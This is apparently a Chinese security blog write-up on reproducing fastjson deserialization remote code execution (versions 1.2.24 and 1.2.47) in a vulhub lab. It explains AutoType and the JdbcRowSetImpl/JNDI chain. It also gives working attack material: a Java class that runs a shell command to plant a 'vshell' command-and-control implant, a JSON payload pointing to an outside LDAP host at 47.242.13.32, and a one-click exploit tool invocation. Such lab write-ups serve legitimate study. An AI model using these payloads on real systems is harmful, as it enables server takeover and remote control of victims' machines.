免责声明
仅为个人学习使用,请勿实时违法行为,责任与个人无关
VPS是自己买的服务器搭建的环境,请在合法授权中测试
搭建环境
vulhub/fastjson/1.2.24-rce at master · vulhub/vulhub · GitHub
![图片[1],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106030032241.png?imageView2/0/format/webp/q/75)
漏洞原理
啥是 json?
json 全称是 JavaScript object notation。即 JavaScript 对象标记法,使用键值对进行信息的存储。举个简单的例子如下:
{
“age”:25,
“name”:”Bob”
}
json 本质就是一种字符串,用于信息的存储和交换。
啥是 fastjson?
fastjson 是一个 有阿里开发的一个开源 Java 类库,可以将 Java 对象转换为 JSON 格式 (序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。
fastjson 序列化 / 反序列化原理
fastjson 的漏洞本质还是一个 java 的反序列化漏洞,由于引进了 AutoType 功能,fastjson 在对 json 字符串反序列化的时候,会读取到 @type 的内容,将 json 内容反序列化为 java 对象并调用这个类的 setter 方法。
那么为啥要引进 Auto Type 功能呢?
fastjson 在序列化以及反序列化的过程中并没有使用 Java 自带的序列化机制,而是自定义了一套机制。其实,对于 JSON 框架来说,想要把一个 Java 对象转换成字符串,可以有两种选择:
- 基于 setter/getter
- 基于属性(AutoType)
基于 setter/getter 会带来什么问题呢,下面举个例子,假设有如下两个类:
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
class iphone implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
实例化对象之后,假设苹果对象的 price 为 0.5,Apple 类对象序列化为 json 格式后为:
{“Fruit”:{“price”:0.5}}
假设 iphone 对象的 price 为 5000, 序列化为 json 格式后为:
{“Fruit”:{“price”:5000}}
当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型 (Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个 json 再反序列化生成 java 对象的时候,无法区分原始类是 apple 还是 iphone。
为了解决上述问题: fastjson 引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用 @type 的键记录原始类型,在本例中,引入 AutoType 后,Apple 类对象序列化为 json 格式后为:
{ “fruit”:{ “@type”:”com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } }
引入 AutoType 后,iphone 类对象序列化为 json 格式后为:
{ “fruit”:{ “@type”:”com.hollis.lab.fastjson.test.iphone”, “price”:5000 } }
这样在反序列化的时候就可以区分原始的类了
fastjson 反序列化漏洞原理
使用 AutoType 功能进行序列号的 JSON 字符会带有一个 @type 来标记其字符的原始类型,在反序列化的时候会读取这个 @type,来试图把 JSON 内容反序列化到对象,并且会调用这个库的 setter 或者 getter 方法,然而,@type 的类有可能被恶意构造,只需要合理构造一个 JSON,使用 @type 指定一个想要的攻击类库就可以实现攻击。
常见的有 sun 官方提供的一个类 com.sun.rowset.JdbcRowSetImpl,其中有个 dataSourceName 方法支持传入一个 rmi 的源,只要解析其中的 url 就会支持远程调用!因此整个漏洞复现的原理过程就是:
攻击者(我们)访问存在 fastjson 漏洞的目标靶机网站,通过 burpsuite 抓包改包,以 json 格式添加 com.sun.rowset.JdbcRowSetImpl 恶意类信息发送给目标机。
存在漏洞的靶机对 json 反序列化时候,会加载执行我们构造的恶意信息 (访问 rmi 服务器),靶机服务器就会向 rmi 服务器请求待执行的命令。也就是靶机服务器问 rmi 服务器,(靶机服务器)需要执行什么命令啊?
rmi 服务器请求加载远程机器的 class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class 文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog 或者创建文件或者反弹 shell 啥的)
rmi 将远程加载得到的 class(恶意代码),作为响应返回给靶机服务器。
靶机服务器执行了恶意代码,被攻击者成功利用。
1.2.24-rce
由于是2017的cve还是最低的版本直接就报错了
![图片[2],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106030652501.png?imageView2/0/format/webp/q/75)
改json的值回显
![图片[3],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106030816518.png?imageView2/0/format/webp/q/75)
准备好exp.java
网上文章都是弹主机shell和touch文件
我们直接弹vshell里
exp如下
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","这里填你的vshell上线命令"});
} catch (Exception e) {
// do nothing
}
}
}
![图片[4],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106043239974.png?imageView2/0/format/webp/q/75)
编译一下
![图片[5],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106040230456.png?imageView2/0/format/webp/q/75)
把exp上传到一平常用的服务器上开启临时服务
![图片[6],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106040940545.png?imageView2/0/format/webp/q/75)
利用 marshalsec 开启 LDAP 服务并绑定开启的临时服务)(这里的marshalsec可以是任意服务器,我这里使用了和靶机一样的服务器其实都只是开个远程服务)
![图片[7],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106045346435.png?imageView2/0/format/webp/q/75)
上面的环境已经开启了临时的网站环境,环境下面有 exp.class,这里开启的 7788 端口是给 LDAP 的,然后把这个端口和 39001绑定一起,将 LDAP 服务绑定到 7788 端口的目的是为了在 7788 端口上监听 LDAP 请求并响应,而这个路径下面有 java 类文件 exp.class,通告构造恶意的 josn 请求去执行 java 类文件,达到反弹 shell 的目的
![图片[8],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106044348815.png?imageView2/0/format/webp/q/75)
发包成功上线vshell
![图片[9],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106044419415.png?imageView2/0/format/webp/q/75)
1.2.47-rce
![图片[10],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106050328534.png?imageView2/0/format/webp/q/75)
![图片[11],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106050249799.png?imageView2/0/format/webp/q/75)
利用步骤跟 1.2.24-rce 一样,只是最后抓包改包 GetShell 时换成如下
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://47.242.13.32:7788/exp",
"autoCommit":true
}
}
![图片[12],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106051137807.png?imageView2/0/format/webp/q/75)
这里虽然显示400但实际上VPS成功接受了请求也上线了
![图片[13],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106051215625.png?imageView2/0/format/webp/q/75)
fastjson半自动化检测及全自动攻击工具
GitHub – mrknow001/fastjson_rec_exploit: fastjson一键命令执行
使用方法
![图片[14],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106054349852.png?imageView2/0/format/webp/q/75)
![图片[15],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106052016860.png?imageView2/0/format/webp/q/75)
接着我们发送一个创建目录的请求
python3 fastjson_rce_exploit.py -u http://47.242.13.32:8091/ -c "touch /tmp/ceshi" -s 4
7.242.13.32
![图片[16],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106054215643.png?imageView2/0/format/webp/q/75)
接着进入docker里面查看
![图片[17],[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106054319382.png?imageView2/0/format/webp/q/75)
成功添加
这里检测windows环境和linux都可
攻击windows环境不行但linux可以
建议全程linux环境测试
好处就是这里的工具不用你判断版本自动帮你攻击了
![[上线vshell]-fastjson漏洞分析复现-及自动化工具检测,网络安全爱好者中心-神域博客网](https://img.godyu.com/2025/11/20251106054349852.png)

![[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602034759133.png)
![[5.20]从抖音信息收集到微信小程序sessionkey泄露伪造登录渗透某edu站,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240520143248539.jpg)


![[5.16]从微信小程序越权渗透某edu站的实例,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/05/20240522095651301.png)





暂无评论内容